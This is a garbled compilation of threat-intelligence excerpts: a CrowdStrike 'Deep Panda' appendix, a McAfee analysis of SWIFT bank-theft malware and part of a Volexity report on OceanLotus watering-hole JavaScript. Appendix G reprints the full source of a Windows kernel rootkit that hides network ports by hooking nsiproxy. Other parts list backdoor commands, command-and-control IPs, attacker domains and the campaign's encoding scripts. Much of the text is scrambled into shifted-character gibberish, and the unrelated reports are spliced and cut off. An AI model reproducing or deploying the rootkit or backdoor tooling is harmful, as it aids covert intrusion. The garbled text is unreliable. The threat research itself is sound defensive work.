w - password l - set up listener s - hostname p - port v - display communication protocol version dlGRZQORDGOH url - url to download from. OHSDWKWRVDYHOHWR ulXSORDGOH url - url to upload to. OHOHWRXSORDG clUHSODFHFRQWHQWVRIOHVLQGLUHFWRU\SPDWFKLQJZLOGFDUGSDWWHUQPZLWKOLVWRI UHJH[HV7KLVFRPPDQGZLOOVHDUFKOLQHE\OLQHDPDWFKLQJOHDQGOWHURXWFRQWHQWV PDWFKLQJWKHVXSSOLHGUHJH[HVLWZLOOWKHQVHWWKHPRGLI\FUHDWHGDWHWRWKHRULJLQDOOHVR as to hide the tampering. p - target path mOHZLOGFDUGSDWWHUQ DUJXPHQWV tuRS\ODVWDFFHVVODVWPRGLI\DQGFUHDWLRQWLPHIURPOHU,IUGRHVQRWH[LVWDGHIDXOW date of 11-30-2005:12:00:00 with the UTC offset of the system applied. p - target path mOHZLOGFDUG rUHIHUHQFHOH dGXPS6\VWHP,2)LOH,QIRIRUOHWWRFRQVROH tSDWKWROH wmi - perform Windows Management Instrumentation (WMI) command s - machine u - username p - password DNHUEHURV m - can be one of the following 3 items APPENDIX S E N S I T I V E 27CROWDSTRIKE Appendix A: Command Line Options for Post Exploitation Tool Sample (MD5: 2dce7fc3f52a692d8a84a0c182519133 DEEP PANDA Appendix B: Algorithm for computing machine ID Appendix C: Remote Commands Supported by .NET Backdoor Post Exploita- tion Tool Sample TXHU\UXQ:0,TXHU\ TTXHU\ FDOOFDOO:0, TWDUJHWWRFDOORQ FPHWKRGWRLQYRNH DUUD\RIDUJXPHQWVWRWKHFDOO JHWGRQRWKLQJ UDUXQDV UXXVHUQDPH UGGRPDLQ USSDVVZRUG ZSZLWKSUROH DUUD\RIDUJXPHQWVIRUVWDUWSURFHVV public class RcDataCommand public byte channelHint public RcDataCommandId cmdID public RcDataCommandType cmdType public string extraInfo public string string_0 Implemented values for cmdID are as follows: UHDWH6KHOO([HFXWHDSSOLFDWLRQDQGVHQGRXWSXWWR 5HDG)LOH8SORDGOHWR ([HFXWH([HFXWHDSSOLFDWLRQDQGVHQGRXWSXWWR S E N S I T I V E 28CROWDSTRIKE char ch L foreach(char ch2 in Environment. MachineName) ch (char)(ch ch2) byte num3 (byte)ch return (GetVolumeSerial() (uint)(((num3 (num3 0x100)) (num3 0x10000)) (num3 0x1000000))) DEEP PANDA cmdType can be one of the following (Interesting commands explained in detail): 1RQH RPPDQG ,QIR (UURU HDUWHDW KDQQHOUHDWH KDQQHOLQG KDQQHO7HUPLQDWH KDQQHO5HTXHVWUHDWH KDQQHO5HTXHVWRQUPDWLRQFFHSW KDQQHO5HTXHVWRQUPDWLRQHQLHG 2EMHFWH[WUD,QIRSDUDPHWHULVDQ0/VHULDOL]HGREMHFW VWULQJB GRZQORDGDOHRU1(7PRGXOH VWULQJB FRQQHFWWR,3DGGUHVV ,QLWLOL]H6WULQJ7DEOH OHDU0HPRU\)LOHVFOHDUOLVWRIGRZQORDGHGPRGXOHV /RDG0RGXOHORDGDSUHYLRXVO\GRZQORDGHGPRGXOH VWULQJBQDPHRIPRGXOHWRORDG 8QORDG0RGXOH 0RGXOH/LVW5HSRUW DOO0RGXOH0HWKRGDOOPHWKRGLQORDGHGPRGXOH VWULQJBFRQWDLQVPRGXOHQDPH H[WUD,QIRFRQWDLQVDUJXPHQWVWRWKHPHWKRG KDQQHO6SHFLHGRPPDQG 6D\RRG\H KDQQHO,QLWLDOL]H(UURU 5HTXHVWVVHPEO\HSHQGHQW 5HVSRQVHVVHPEO\HSHQGHQW RQQHFW6XFFHVVHG RQQHFW)DLOHG KDQQHO5HTXHVW7FSRQQHFW KDQQHO5HTXHVW8GSRQQHFW XVWRPL]HG S E N S I T I V E 29CROWDSTRIKE DEEP PANDA S E N S I T I V E 30CROWDSTRIKE string_0 can have one of the following values dependant upon command id and type. QHZEORFN VHHN VHWHQG QLVKOH VWRS VWDUWFRS\ VVRL DERUW (YW 2WKHUYDOXHVFDOFXODWHGDWUXQWLPH Appendix D: Raw bytes of example Authentication packet. Appendix E: Initialization of KEY and IV for AES 03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 for (int i 0 i 0x20 i ) for (int i 0 i 0x20 i ) buffer[i] (byte)((i 8) ((byte)password[num])) buffer[i] (byte)(buffer[i] 170) num num password. Length DEEP PANDA S E N S I T I V E 31CROWDSTRIKE Appendix F: Command Control Servers C2 Server 1.9.5.38 Port Geolocation Whois Samples Used In 443 Bukit Mertajam, Maylasia inetnum: 1.9.0.0 - 1.9.255.255 netname: TMNET-AS-AP descr: Tmnet, Telekom Malaysia Bhd. descr: Telekom Malaysia Berhad descr: 44th Floor, Global Data Marketing, TM Global descr: Jalan Pantai Baharu country: MY admin-c: TA35- AP tech-c: TA35-AP mnt-by: AP- NIC-HM mnt-lower: TM- NET-AP mnt-routes: TM- NET-AP status: ALLO- CATED PORTABLE remarks: ---- ---------- ---------- -- remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: host- masters and include your organisations account remarks: name in the subject line. remarks: ---- ---------- ---------- -- changed: hm- changedapnic.net 20100610 source: APNIC 47619fca20895abc83807321cbb80a3d DEEP PANDA S E N S I T I V E 32CROWDSTRIKE C2 Server 202.86.190.3 Port Geolocation Whois Samples Used In 80 Hong Kong inetnum: 202.86.190.0 - 202.86.191.255 netname: Tele- One-HK country: HK descr: Te- leOne(HK) Limited admin-c: HL13 tech-c: AC612-AP status: AS- SIGNED NON-POR- TABLE changed: an- gusedu.ctm.net 20041122 mnt-by: MAINT- CTM-MO source: APNIC 2dce7fc3f52a692d8a84a0c182519133 de7500fc1065a081180841f32f06a537 Appendix G: Edward Suns kernel network hook code : [ ]NSI Module Hook : Hiding Port Under Windows Vista [ ] : eviloctal : 2007-7-8 20:53 : [ ]NSI Module Hook : Hiding Port Under Windows Vista http://rootkit.com/newsread_print.php?newsid735 (www.eviloctal.com) cardmagic writes: Windows Vista has changed alot on network module, many old port hiding materials are no longer usable. In this post, I will share with you a simple code to hide port under Vista,hope it is useful for some guys . Actually under Windows Vista, netstat.exe will call InternalGetTcpTable2 which is exported by Iphlpapi.dll to list all open ports,then InternalGetTcpTable2 will transfer control to NsiAllocateAndGetTable which is exported by nsi.dll, DQGQDOO\QVLGOOLQYROYH1VL(QXPHUDWH2EMHFWVOO3DUDPHWHUV([WRLQWHUDFWZLWK kernel mode module of NSI -- nsiproxy.sys. nsiproxy.sys is almost like a wrapper of netio.sys, it will then call internal subroutines of netio.sys . Here ,we will use a relatively easy way -- NSI Kernel Module Dispatch Routine RRNWRGHPRVWUDWHWKHVSHFLHGSRUWKLGLQJXQHU9LVWDLVSDWFKURXWLQHKRRN is an old topic, this time ,we will apply this method to nsiproxy.sys. Please IRFXVRQKRZWRKDQGOHWKHFRQWHQWOWHULQJRI16, Check the following code(Notice: I only tested it under Windows Vista RTM 32bit): DEEP PANDA : /////////////////////////////////////////////////////////////////////////////// //////// // Filename: PortHidDemo_Vista.c // // Author: CardMagic(Edward) // Email: [email]sunmy1sina.com[/email] 061RQO\RQHMD]]DWKRWPDLOFRP // // Description: // A Demostration Of Hiding 6SHFLHG3RUW8QGHU:LQGRZV9LVWD570ELW // Tested Under Windows Vista Kernel Version 6000 MP (1 procs) Free x86 com- patible // // include stdlib.h include ntifs.h unsigned short htons(unsigned short hostshort) unsigned long inet_addr(const char name) typedef unsigned long DWORD GHQH/2/,(,3 GHQH/2/,(3257 GHQH,27/B16,B(7//350[ H[WHUQ32-(7B73( ,RHYLFH2EMHFW7\SH ,RULYHU2EMHFW7\SH 35,9(5B2-(7S1VLUY2EM PDRIVER_DISPATCH orgNsiDeviceIoControl 0 DWORD gLocalPort0,gLocalIp0 typedef struct _HP_CONTEXT PIO_COMPLETION_ROUTINE oldIocomplete PVOID oldCtx BOOLEAN bShouldInvolve PKPROCESS pcb HP_CONTEXT,PHP_CONTEXT S E N S I T I V E 33CROWDSTRIKE DEEP PANDA INTERNAL_TCP_TABLE_SUBENTRY,PINTERNAL_TCP_TABLE_SUBENTRY typedef struct _INTERNAL_TCP_TABLE_ENTRY INTERNAL_TCP_TABLE_SUBENTRY localEntry INTERNAL_TCP_TABLE_SUBENTRY remoteEntry INTERNAL_TCP_TABLE_ENTRY,PINTERNAL_TCP_TABLE_ENTRY typedef struct _NSI_STATUS_ENTRY FKDUE\WHVOO NSI_STATUS_ENTRY,PNSI_STATUS_ENTRY typedef struct _NSI_PARAM // // Total 3CH size // DWORD UnknownParam1 DWORD UnknownParam2 DWORD UnknownParam3 DWORD UnknownParam4 DWORD UnknownParam5 DWORD UnknownParam6 PVOID lpMem DWORD UnknownParam8 DWORD UnknownParam9 DWORD UnknownParam10 PNSI_STATUS_ENTRY lpStatus DWORD UnknownParam12 DWORD UnknownParam13 DWORD UnknownParam14 DWORD TcpConnCount NSI_PARAM,PNSI_PARAM unsigned short htons(unsigned short a) unsigned short b a b ( b 8 ) a ( a 8 ) return ( a b ) S E N S I T I V E 34CROWDSTRIKE DEEP PANDA S E N S I T I V E 35CROWDSTRIKE unsigned long inet_addrt(const char name) LQWLMS int len strlen(name) unsigned long temp_val[4] char namesec[10] IRUL M S LOHQL memset(namesec,0,10) if(39.39 name[i]) if(p) strncpy(namesec,namep1,i-p) else strncpy(namesec,name,i) WHPSBYDOM DWRLQDPHVHF M p i strncpy(namesec,namep1,i-p) WHPSBYDOM DWRLQDPHVHF return (temp_val[0](temp_val[1]8)(temp_val[2]16)(temp_val[3]24)) NTSTATUS HPCompletion( ,13(9,(B2-(7HYLFH2EMHFW IN PIRP Irp, IN PVOID Context ) PIO_STACK_LOCATION irpsp IoGetCurrentIrpStackLocation(Irp) PIO_STACK_LOCATION irpspNext IoGetNextIrpStackLocation(Irp) PHP_CONTEXT pCtx Context PNSI_PARAM nsiParam int i if(NT_SUCCESS(Irp-IoStatus. Status)) DEEP PANDA S E N S I T I V E 36CROWDSTRIKE nsiParam Irp-UserBuffer if(MmIsAddressValid(nsiParam-lpMem)) // // netstat will involve internal calls which will use // nsiParam structure // if( (nsiParam-UnknownParam8 0x38)) KAPC_STATE apcstate PNSI_STATUS_ENTRY pStatusEntry (PNSI_STATUS_ENTRY)nsiParam-lpStatus PINTERNAL_TCP_TABLE_ENTRY pTcpEntry (PINTERNAL_TCP_TABLE_ENTRY)nsi- Param-lpMem int nItemCnt nsiParam-TcpConnCount KeStackAttachProcess(pCtx-pcb,apcstate) // //make sure we are in the context of original process // for(i 0i nItemCnti ) if((pTcpEntry[i].localEntry.dwIP gLocalIp)(pTcpEntry[i].localEn- try. Port gLocalPort)) // //NSI will map status array entry to tcp table array entry //we must modify both synchronously // RtlCopyMemory(pTcpEntry[i],pTcpEntry[i1],sizeof(INTERNAL_TCP_TA- BLE_ENTRY)(nItemCnt-i)) RtlCopyMemory(pStatusEntry[i],pStatusEntry[i1],sizeof(NSI_STA- TUS_ENTRY)(nItemCnt-i)) nItemCnt-- nsiParam-TcpConnCount -- i-- KeUnstackDetachProcess(apcstate) DEEP PANDA S E N S I T I V E 37CROWDSTRIKE irpspNext-Context pCtx-oldCtx irpspNext-CompletionRoutine pCtx-oldIocomplete // //free the fake context // ExFreePool(Context) if(pCtx-bShouldInvolve) UHWXUQLUSVS1H[WRPSOHWLRQ5RXWLQHHYLFH2EMHFW,USRQWH[W else if (Irp-PendingReturned) IoMarkIrpPending(Irp) return STATUS_SUCCESS NTSTATUS 2E5HIHUHQFH2EMHFW\1DPH ,1381,2(B675,12EMHFW1DPH IN ULONG Attributes, IN PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL, ,132-(7B73(2EMHFW7\SH IN KPROCESSOR_MODE AccessMode, IN OUT PVOID ParseContext OPTIONAL, 287392, 2EMHFW ) 176778638QORDG,135,9(5B2-(7ULYHU2EMHFW LARGE_INTEGER waittime waittime. QuadPart -5010001000 ,QWHUORFNHG([FKDQJHS1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/RU- gNsiDeviceIoControl) // //delay loading driver to make it more secure // DEEP PANDA S E N S I T I V E 38CROWDSTRIKE KeDelayExecutionThread(KernelMode,0,waittime) return STATUS_SUCCESS NTSTATUS HPDummyDeviceIoControl( ,13(9,(B2-(7HYLFH2EMHFW IN PIRP Irp ) ULONG ioControlCode PIO_STACK_LOCATION irpStack ULONG status irpStack IoGetCurrentIrpStackLocation(Irp) ioControlCode irpStack-Parameters. DeviceIoControl. IoControlCode if(IOCTL_NSI_GETALLPARAM ioControlCode) if(irpStack-Parameters. DeviceIoControl. InputBufferLength sizeof(NSI_ PARAM)) // //only care the related I/O // PHP_CONTEXT ctx (HP_CONTEXT)ExAllocatePool(NonPagedPool,sizeof(HP_CON- TEXT)) ctx-oldIocomplete irpStack-CompletionRoutine ctx-oldCtx irpStack-Context irpStack-CompletionRoutine HPCompletion irpStack-Context ctx ctx-pcb IoGetCurrentProcess() if((irpStack-ControlSL_INVOKE_ON_SUCCESS) SL_INVOKE_ON_SUCCESS) ctx-bShouldInvolve TRUE else ctx-bShouldInvolve FALSE irpStack-Control SL_INVOKE_ON_SUCCESS DEEP PANDA S E N S I T I V E 39CROWDSTRIKE // //call original I/O control routine // VWDWXV RUJ1VLHYLFH,RRQWUROHYLFH2EMHFW,US return status NTSTATUS DriverEntry( ,135,9(5B2-(7ULYHU2EMHFW IN PUNICODE_STRING RegistryPath ) int i NTSTATUS status UNICODE_STRING uniNsiDrvName if DBG _asm int 3 //debug endif ULYHU2EMHFWULYHU8QORDG 38QORDG RtlInitUnicodeString(uniNsiDrvName,L\\Driver\\nsiproxy) VWDWXV 2E5HIHUHQFH2EMHFW\1DPHXQL1VLUY1DPH2-B6(B,16(16,- 7,9(18// ,RULYHU2EMHFW7\SH.HUQHO0RGH18//S1VLUY2EM if(NT_SUCCESS(status)) return STATUS_SUCCESS // //store the original dispatch function of NSI driver // RUJ1VLHYLFH,RRQWURO S1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/ gLocalIp inet_addrt(LOCALHIDEIP) gLocalPort htons(LOCALHIDEPORT) DEEP PANDA S E N S I T I V E 40CROWDSTRIKE // //hook NSI dispatch routine // ,QWHUORFNHG([FKDQJHS1VLUY2EM0DMRU)XQFWLRQ,53B0-B(9,(B21752/3XP- myDeviceIoControl) return STATUS_SUCCESS DEEP PANDA S E N S I T I V E 41CROWDSTRIKE Appendix H: Command and Control MD5 Correlation MD5 Command and Control Server 47619fca20895abc83807321cbb80a3d 2dce7fc3f52a692d8a84a0c182519133 de7500fc1065a081180841f32f06a537 1.9.5.38:443 202.86.190.3:80 202.86.190.3:80 DEEP PANDA May 20, 2016 Attacks on SWIFT Banking System Benefit From Insider Knowledge securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge By Christiaan Beek on May 20, 2016 In recent months, weve seen headlines about the compromise of a bank in Bangladesh from which cybercriminals attempted to steal US951 million. The malware they used was able to manipulate and read unique messages from SWIFT (Society for Worldwide Interbank Financial Telecommunication), as well as adjust balances and send details to a remote control server. BAE Systems wrote a detailed analysis and concluded that the malware must be based on a framework of different modules that could be used for multiple targets. This week SWIFT sent another warning without details about another bank, this time in Vietnam that was compromised. According to a bank spokesperson, they detected in a timely manner the fraudulent transfer of 1.13 million in December 2015. Because we know the attackers had some insight into the Bangladesh attack, McAfee assumed the attackers also knew something beforehand about the Vietnamese bank. We investigated possible malware indicators for the latter attack. Files used for the investigation: MD5: 0b9bf941e2539eaa34756a9e2c0d5343 MD5: 909e1b840909522fe6ba3d4dfd197d93 We focused our analysis primarily on the first sample. The files compile timestamp is 2015- 12-04 02:04:23. The first submission of the file from Vietnam was on December 22, 2015. In the case of the Vietnamese bank, the file used for the attack is a fake version of the popular PDF reader Foxit. The malware installs itself in the original Foxit installation directory and renames the original file to FoxltReader.exe. Once the user starts using the fake reader, the malware executes and writes to a log file in the temp directory C:\\Windows\temp\\WRTU\ldksetup.tmp. Analyzing this file, we see the log data is XOR encoded using the value 0x47. 1/4 https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/ https://securingtomorrow.mcafee.com/blogs/author/christiaan-beek/ https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-1.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-2.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-3.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-4.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-5.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-6.png https://securingtomorrow.mcafee.com/wp-content/uploads/20160520-SWIFT-7.png As in the case of the Bangladeshi bank, the malware uses the configuration file Lmutilps32.dat, which can also be found in C:\\Windows\\temp\WRTU\. This file is also XOR encoded, with the value 0x7C4D5978. Was this malware part of a targeted attack? Yes, absolutely. As in the malware used against the Bangladeshi bank, we found the SWIFT code for the target in multiple places in the malware: The code TPBVVNVX is the SWIFT code for the Tienphong Commercial Joint Stock Bank, in Hanoi. We also noticed that there were more SWIFT codes in the code: These banks are based in Australia, Singapore, Japan, Korea, Vietnam, Italy, and the United States. We wondered why the actors would put this particular list in the malware. Further analyzing the working of the malware, we discovered an interesting part in the code concerning Executing the real Foxit reader and the next section in the code states PDFmodulation success. This hints of the manipulation of PDF files. In the code, we found that the malware uses the original driver fpdsdk.dll from the Foxit SDK to execute the transformation of the files. 2/4 We discovered functionality in the code that converts PDF files to XML files, which are stored in the folder C:\Documents and Settings\Test\Local Settings\Temp\. The filenames start with XXX or RSP followed by a value between 0-F and finish with the extension .tmp. Lets return to our list of SWIFT codes of other banks. The malware reads the SWIFT messages and checks if the sender of the message is one of the listed banks. Once it finds these messages, it reads their information: The malware can manipulate these messages: deleting transactions, transaction history, and system logs, and prevent the printing of the fraudulent transactions: As in the Bangladeshi attack, we found some typos: Bangladesh: fandation instead of foundation and alreay instead of already Vietnam: FilleOut instead of FileOut 3/4 Does this analysis tell us anything about the actors? It might, but these details form a weak indicator. How easy is it to misspell some words on purpose to mislead investigators? Conclusion In both attacks we can see that the attackers have done their reconnaissance properly and may have used an insider to get the details they needed to prepare their attacks. In the Bangladeshi case, for example, the malware samples are tuned to the environment and how the banking system operates, including the supported software, databases, and printer. In the Vietnamese case, the malware is also tuned to fit the environment. The attackers knew that the bank used Foxit and replaced it with a fake version. The attackers have a very good understanding of the SWIFT messaging system and how to manipulate the system to prevent the detection of their fraudulent attempts of transferring the money. The malware in each attack was compiled just before the attack happened. Although both attacks were discovered at some point during the attempts to transfer large amounts of money, the actors may well have executed a few test runs to check their operations before the real attacks. The operation in Vietnam happened in December 2015 and was discovered after an investigation of the incident in February 2016 in Bangladesh. The Vietnamese attack was reported to the banking world in May 2016. Would logs still be available for an incident that happened about six months ago? Would the possible test runs be traceable? These are some of the many questions that arise. One lesson from both cases is that when a fraud alert is triggered by either an internal system or by transaction authorities, a thorough analysis including an in-depth analysis of the malwareof the tactics and procedures used by the attackers is needed. In this case, investigators can share indicators such as MD5 sums, but because the attackers have customized their malware, sharing would be of little value. On the other hand, sharing the methods used by the attackers, the inner working of the malware, and its manipulation of the systems should teach us where to look and adapt our defenses. 4/4 Attacks on SWIFT Banking System Benefit From Insider Knowledge OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the- media-human-rights-and-civil-society/ November 6, 2017 by Dave Lassalle, Sean Koessel, Steven Adair In May 2017, Volexity identified and started tracking a very sophisticated and extremely widespread mass digital surveillance and attack campaign targeting several Asian nations, the ASEAN organization, and hundreds of individuals and organizations tied to media, human rights and civil society causes. These attacks are being conducted through numerous strategically compromised websites and have occurred over several high-profile ASEAN summits. Volexity has tied this attack campaign to an advanced persistent threat (APT) group first identified as OceanLotus by SkyEye Labs in 2015. OceanLotus, also known as APT32, is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics, techniques, and procedures (TTPs). Volexity works closely with several human rights and civil society organizations. A few of these organizations have specifically been targeted by OceanLotus since early 2015. As a result, Volexity has been able to directly observe and investigate various attack campaigns. This report is based on a very targeted attack that Volexity observed and the research that followed. 1/20 https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/ http://blogs.360.cn/blog/oceanlotus-apt/ https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html Key highlights of this most recent and ongoing attack campaign by the OceanLotus group are as follows: Massive digital profiling and information collection campaign via strategically compromised websites Over 100 websites of individuals and organizations tied to Government, Military, Human Rights, Civil Society, Media, State Oil Exploration, and more used to launch attacks around the globe Use of whitelists to target only specific individuals and organizations Custom Google Apps designed for gaining access to victim Gmail accounts to steal e-mail and contacts Strategic and targeted JavaScript delivery to modify the view of compromised websites to facilitate social engineering of visitors to install malware or provide access to e-mail accounts Large distributed attack infrastructure spanning numerous hosting providers and countries Numerous attacker created domains designed to mimic legitimate online services and organizations such as AddThis, Disqus, Akamai, Baidu, Cloudflare, Facebook, Google, and others Heavy uses of Lets Encrypt SSL/TLS certificates Use of multiple backdoors, such as Cobalt Strike and others, believed to be developed and solely used by OceanLotus Volexity believes the size and scale of this attack campaign have only previously been rivaled by a Russian APT group commonly referred to as Turla and documented in a report from Symantec called The Waterbug attack group. The OceanLotus threat group has successfully operated, largely unnoticed, through several high-profile websites since late 2016. Volexity has observed the following operating pattern for the OceanLotus group: Compromise website of strategic importance (e.g. websites visitors have a higher likelihood to be targets of interest) Add one or more webshell backdoors to victim websites to maintain persistence Webshell used to add JavaScript developed by OceanLotus into the website The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks OceanLotus JavaScript frameworks designed to track, profile, and target the compromised websites visitors Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the users system or e-mail accounts Volexity has also noted that some of the organizations with compromised websites have also been targeted with spear phishing campaigns that attempt to install backdoors on the target systems. Spear phishing activity and detailed malware infrastructure will be described in a follow on report on OceanLotus activity. Compromised Sites 2/20 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf Volexity has been able to identify a staggeringly large number of websites that have been strategically compromised by the OceanLotus attackers. The number of compromised websites exceeds 100. The overwhelming majority of the websites that have been compromised belong to Vietnamese individuals and organizations that are critical of the Vietnamese Government. The remainder of the compromised websites are tied to one of three countries that share a land border with Vietnam or the Philippines. Unlike with the Vietnamese victims, in most cases these websites are tied to state owned or affiliated organizations. Vietnam Volexity has chosen not to list the Vietnamese websites that have been compromised, as the quantity is exceedingly large (over 80) and many of them are tied to individuals or very small organizations. However, the list below characterizes the types of websites that have been victimized to facilitate this ongoing campaign. Human Rights Civil Society News/Media (English and Vietnamese Language) Individual Bloggers Religion ASEAN Organization Website Compromised Page Association of Southeast Asian Nations (ASEAN) asean.org /modules/aseanmail/js/wp-mailinglist.js /modules/wordpress- popup/inc/external/wpmu-lib/js/wpmu- ui.3.min.js ASEAN Trade Repository atr.asean.org Main Index ASEAN Investment investasean.asean.org Main Index Cambodia Organization Website Compromised Page Ministry of Foreign Affairs www.mfa.gov.kh /jwplayer.js Ministry of Environment www.moe.gov.kh /other/js/jquery/jquery.js Ministry of Civil Service www.mcs.gov.kh Main Index National Police www.police.gov.kh /wp-includes/js/jquery/jquery.js?ver1.12.4 Ministry of National Assembly- Senate Relations and Inspection www.monasri.gov.kh wtemplates/monasri_template/js/menu/mega.js Ministry of Social Affairs, Veterans, and Youth Rehabilitation www.mosvy.gov.kh /public/js/default.js National Election Committee www.necelect.org.kh Main Index 3/20 China Organization Website Compromised Page BDStar Information Service Co. bdstarlbs.com Main Index BDStar Navigation Co. www.navchina.com Main Index China National United Oil Corporation www.chinaoil.com.cn /chinaoil/xhtml/js/jquery-1.7.2.min.js China Oilfield Services Limited Withheld Withheld China National Offshore Oil Corporation Withheld Withheld Laos Organization Website Compromised Page Bokeo Province bokeo.gov.la Main Index Ministry of Public Works and Transport www.mpwt.gov.la /media/system/js/mootools-core.js Philippines Organization Website Compromised Page Armed Forces of the Philippines www.afp.mil.ph /modules/mod_js_flexslider/assets/js/jquery.easing.js Office of the President op-proper.gov.ph Main Index JavaScript Tracking, Profiling, and Delivery Frameworks The compromised websites are being leveraged to deliver malicious JavaScript designed to profile and fingerprint a user on each visit. Volexity found that OceanLotus had developed two different JavaScript frameworks to accomplish their profiling and targeting activities. For the purposes of this blog, we will call them Framework A and Framework B. With few exceptions, the compromised websites would only have code loading either Framework A or Framework B. Each of the hostnames and IPs were also tied to one of the two frameworks, with none of them serving up both. The following sections will provide some detail on the two frameworks and their multiple scripting components. Framework A Framework A is found on a limited number of victim sites. Initial URLs for access to Framework A are typically formatted similar to the following: cloudflare-api[. ]com/ajax/libs/jquery/2.1.3/jquery.min.js?s1v72580 Volexity believes the v value is unique and serves as a victim site identifier, which may not be necessary given the data the script sends along as detailed below. The above script is retrieved 4/20 following a visit to asean.org. The following code has been appended to legitimate JavaScript loaded by the ASEAN website: Framework A, Script 1 Host Tracking The first script delivered contains several support functions such as an MD5 function, a base64 decoder, and functions for loading additional data. The goal of this script appears to be defining everything needed to track a host across different requests. This script defines a section of variables used in other parts of the code. The host based ones are obtained from the User-Agent in the initial request. Then it will load a second JavaScript file: The h1 and h2 values in the request are MD5 hashes of some information about the host making the request. The first hash, h1, is the MD5 hash of various pieces of information collected from the browser and concatenated together. 5/20 The second hash, h2, is also an MD5 hash, but the values concatenated are the screen height and width, timezone, plugins, MIME type, and language information. The encrypt function simply iterates over the passed string and key string and adds the ASCII values at each position. Python scripts for encrypting and decrypting are as follows. Encrypt: /usr/bin/env python import base64 import sys b64_data base64.b64encode(sys.argv[2]) key sys.argv[1] enc_data for i, x in enumerate(b64_data): k key[i len(key) -1] enc_data chr(ord(x) ord(k)) print print base64.b64encode(enc_data) print 6/20 Decrypt: /usr/bin/env python import base64 import sys key sys.argv[1] b64_data sys.argv[2] enc_data base64.b64decode(b64_data) dec_data for i, x in enumerate(enc_data): k key[i len(key) -1] dec_data chr(ord(x) - ord(k)) print print base64.b64decode(dec_data) print Framework A, Script 2 Profiling The second script returned starts by defining a browser_hash variable. This is composed of h1 and the first 10 characters of h2, separated by . This script then sends three GET requests, each with a d parameter in the query string that contains some encrypted and base64 encoded data. One request sends Browser Plugins. The info is collected in the following part of the code: Another request sends Extended Browser Info. This info is collected as follows: The final request sends WebRTC info to obtain the host IP address. 7/20 Framework B Framework B is found on the vast majority of sites. Initial URLs for access to Framework B are simply references to JavaScript (.js) files on OceanLotus controlled sites. Volexity has found that the URLs from Framework B do not actually matter, so long as the file extension ends in .js and a referrer is sent with the request. The JavaScript will be sent back regardless of the file or folder requested as long as it meets these two criteria. The main ASEAN website is one of the few places that contain both Framework A and Framework B. The following code has also been appended to legitimate JavaScript loaded by the ASEAN website: This script will result in the loading of JavaScript from the following URL: http://ad.jqueryclick[. ]com/assets/adv.js Framework B, Script 1 Host Tracking The second framework collects similar information, but handles host tracking differently. The initial script that is delivered varies based on the host OS as determined from the User-Agent in the request. When the script is loaded, it first makes a GET request to https://health-ray- id[. ]com/robot.txt. This returns a UUID that is sent in subsequent requests as either zuuid or client_zuuid. It is also saved in localStorage for the compromised site under a key of x00Sync. The script then makes two GET requests. Request 1: GET /api/BASE64_ENCODED_DATA/adFeedback.js The base64 data decodes to a JSON string containing information for tracking the host. For 8/20 example, the data below, where zuuid is the UUID returned from health-ray-id.com. uuid:62d096b35e82547b6a12607c2820f8e0,zuuid:ca3a8d02-a0f5-4686-9f6b- cab4a17a9e2b,hash: The uuid value (also seen as client_uuid in later requests) is also generated by the script and is stored in a cookie named ___APISID for the compromised domain. It is generated using the fingerprintjs2 library, which creates a hash based on browser information. This is another method for tracking users across requests. This library and several other legitimate JavaScript libraries (including the jQuery core library and others for reading/storing cookies, collecting timezone data, etc.) are typically downloaded from a CDN URL and saved into localStorage variables to be later used by the script. They are stored as hex encoded data in a function called x00Config. If the client is not on the OceanLotus whitelist, this request just returns a single line of JavaScript setting a variable named timestamp. However, when the client is on the whitelist, Volexity has observed a popup window that slowly fades in on top of the legitimate website. In a recent attack, the popup appeared Google related and would redirect to a Google OAuth page designed to fool the user into providing access to their account to a malicious Google App. More details on this appear further down in this post. Request 2: GET /sync/BASE64 _ENCODED_DATA/img_blank.gif This request contains two pieces of information: a history section and a navigator section. The history section contains information about the compromised site that the JavaScript was loaded from. It also contains certain information about the host including the User-Agent, time and timezone, and IP addresses. The navigator section is blank the first time the request is made. When the script is first run, it records the current time in another localStorage variable. It only populates the navigator section if 24 hours have passed. It will also update the stored timestamp. This means the large section of data in the navigator section is only sent once per day, even if this compromised site is visited multiple times. This section includes a lot of the same information collected by Framework A, including MIME Types, plugins, and screen information. Below are a few portions of the data collected and sent back to the OceanLotus servers. 9/20 https://github.com/Valve/fingerprintjs2 10/20 Framework B, Script 2 Popup for Whitelisted Systems As mentioned above, if a system is not on the whitelist, the GET /api/BASE64_ENCODED_DATA/adFeedback.js request will just return a timestamp variable. For a whitelisted system, a new script is delivered. A portion of this script shown below makes a request to download some additional config data. 11/20 The domain for the request is loaded from the SAPIS_ID cookie which was set by the first script. Before storing, it is split in two, the two substrings are reversed, then it is base64 encoded. An example of the SAPIS_ID cookie can be seen in the navigator section above. This ultimately calls the e.fn_getjson() function that makes a request like the following: GET /connect.js? 